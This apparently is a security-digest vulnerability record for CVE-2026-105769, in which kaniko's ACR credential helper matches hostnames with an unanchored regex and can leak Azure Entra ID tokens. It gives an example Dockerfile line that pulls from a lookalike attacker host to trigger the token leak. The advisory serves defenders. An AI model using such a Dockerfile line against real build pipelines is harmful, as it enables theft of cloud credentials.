---
title: "CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts"
url: https://erroneo.us/security/cve/CVE-2026-105769/
description: "CVE-2026-105769 (github.com/chainguard-dev/kaniko (Go)): kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource…"
type: vulnerability-record
section: "Security Digest"
date_published: 2026-11-02
date_modified: 2026-11-05
publisher: erroneo.us
author: erroneo.us Security Desk
cve: "CVE-2026-105769"
kev: false
cvss: 9.3
epss: 0.00196
license: All rights reserved. Quote with attribution and a link.
---

# CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

**Signal:** Critical and remotely reachable. No known exploitation yet, but it is network-reachable without credentials. (Computed from CISA KEV, EPSS and CVSS; not an editorial verdict.)

## Should you act?

- No confirmed exploitation. It is not in CISA’s KEV catalog and CISA’s SSVC assessment records no known exploitation. That can change quickly after a public write-up; re-check if you are affected.
- EPSS 0.2% , percentile 9: FIRST’s model estimates a 0.2% chance of exploitation activity in the next 30 days, higher than 9% of all scored CVEs (low). EPSS is a probability, not a verdict.
- Needs a user to click or open something. Phishing makes that realistic, but it is not wormable.
- Only applies if your dependency tree includes github.com/chainguard-dev/kaniko (Go) < 1.25.20, fixed in 1.25.20 . Check your lockfile, including transitive dependencies.

## What it is

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from= , causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https:// /oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

## Affected packages

- Go `github.com/chainguard-dev/kaniko` < 1.25.20 → fixed: 1.25.20

## Affected products (CVE record)

- chainguard kaniko: < 1.25.20

## Severity

- chainguard CVSS 3.1: 9.3 `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`
- GitHub CVSS 3.1: 9.3 `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`

## Exploitation

- CISA KEV: not listed (no confirmed in-the-wild exploitation known to CISA).
- CISA SSVC assessment: exploitation none , automatable no , technical impact total .
- FIRST EPSS (model of 2026-11-05): 0.20% probability of exploitation activity in the next 30 days; percentile 9.

## Sources

- [GHSA-5q7h-w9jf-cx97](https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97)
- [github.com](https://github.com/chainguard-forks/kaniko/pull/495)
- [github.com](https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20)
- [GitHub Advisory GHSA-5q7h-w9jf-cx97](https://github.com/advisories/GHSA-5q7h-w9jf-cx97)
- [CVE.org record CVE-2026-105769](https://www.cve.org/CVERecord?id=CVE-2026-105769)
- [NVD entry CVE-2026-105769](https://nvd.nist.gov/vuln/detail/CVE-2026-105769)
- [github.com](https://github.com/chrismellard/docker-credential-acr-env/issues/21)
- [GO-2026-6225](https://pkg.go.dev/vuln/GO-2026-6225)
- [github.com](https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405)
- [github.com](https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48)

---
Source page: https://erroneo.us/security/cve/CVE-2026-105769/ · Security Digest: https://erroneo.us/security/ · More: https://erroneo.us/llms.txt